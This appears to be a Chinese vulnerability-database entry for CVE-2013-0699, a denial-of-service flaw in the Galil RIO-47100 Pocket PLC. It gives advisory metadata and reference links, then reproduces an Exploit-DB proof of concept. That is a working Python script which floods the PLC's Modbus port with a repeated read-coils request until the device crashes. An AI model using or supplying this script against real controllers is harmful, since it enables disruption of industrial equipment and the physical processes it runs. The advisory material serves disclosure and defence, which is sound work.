Galil RIO-47100 Pocket PLC 输入验证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1121784 漏洞类型 输入验证
发布时间 2013-07-27 更新时间 2013-07-29
CVE编号 CVE-2013-0699 CNNVD-ID CNNVD-201305-006
漏洞平台 Hardware CVSS评分 7.1
|漏洞来源
https://www.exploit-db.com/exploits/27131
https://www.securityfocus.com/bid/59530
https://cxsecurity.com/issue/WLB-2013070212
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201305-006
|漏洞详情
GalilRIO-47100PocketPLC中存在漏洞。远程攻击者可通过包含‘反复请求’的会话利用该漏洞造成拒绝服务。
|漏洞EXP
# Exploit Title: Galil RIO-47100
# Date: 05-01-2013
# Exploit Author: Sapling
# Vendor Homepage: www.galilmc.com
# Version: Rio Firmware Prior to 1.1d
# CVE : CVE-2013-0699
# ICSA: ICSA-13-116-01

/* There are many different ways to crash this PLC but most of them are
centralized around the repeating a request in a single packet format. So
read a coil repeated in a single packet.
The Rio-47100 by Galil is a small PLC with an internal RISC based
processor. It communicates using ModBus, or Telnet over Ethernet as well as
having a web server built in that allows a user to issue commands.
I take no responsibility for the use of this code and using this code you
agree to take responsibility for your own actions. */


# Python Proof of concept
# A quick run down of the last half start at \x06
# \x06 length
# \x01 unit id
# \x01 function code (read coils)
# \x00\x00 start address
# \x00\x01 coil quantity
# Repeat the request in the packet 100 times
# Unfortunateley I can't remember the minimum number of times you have to
repeat to cause the crash

import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100)
|参考资料
USGovernmentResource:http://ics-cert.us-cert.gov/advisories/ICSA-13-116-01
名称:http://ics-cert.us-cert.gov/advisories/ICSA-13-116-01
链接:http://ics-cert.us-cert.gov/advisories/ICSA-13-116-01
来源:www.galilmc.com
链接:http://www.galilmc.com/support/downloads/firmware_rev/firm47xxx.html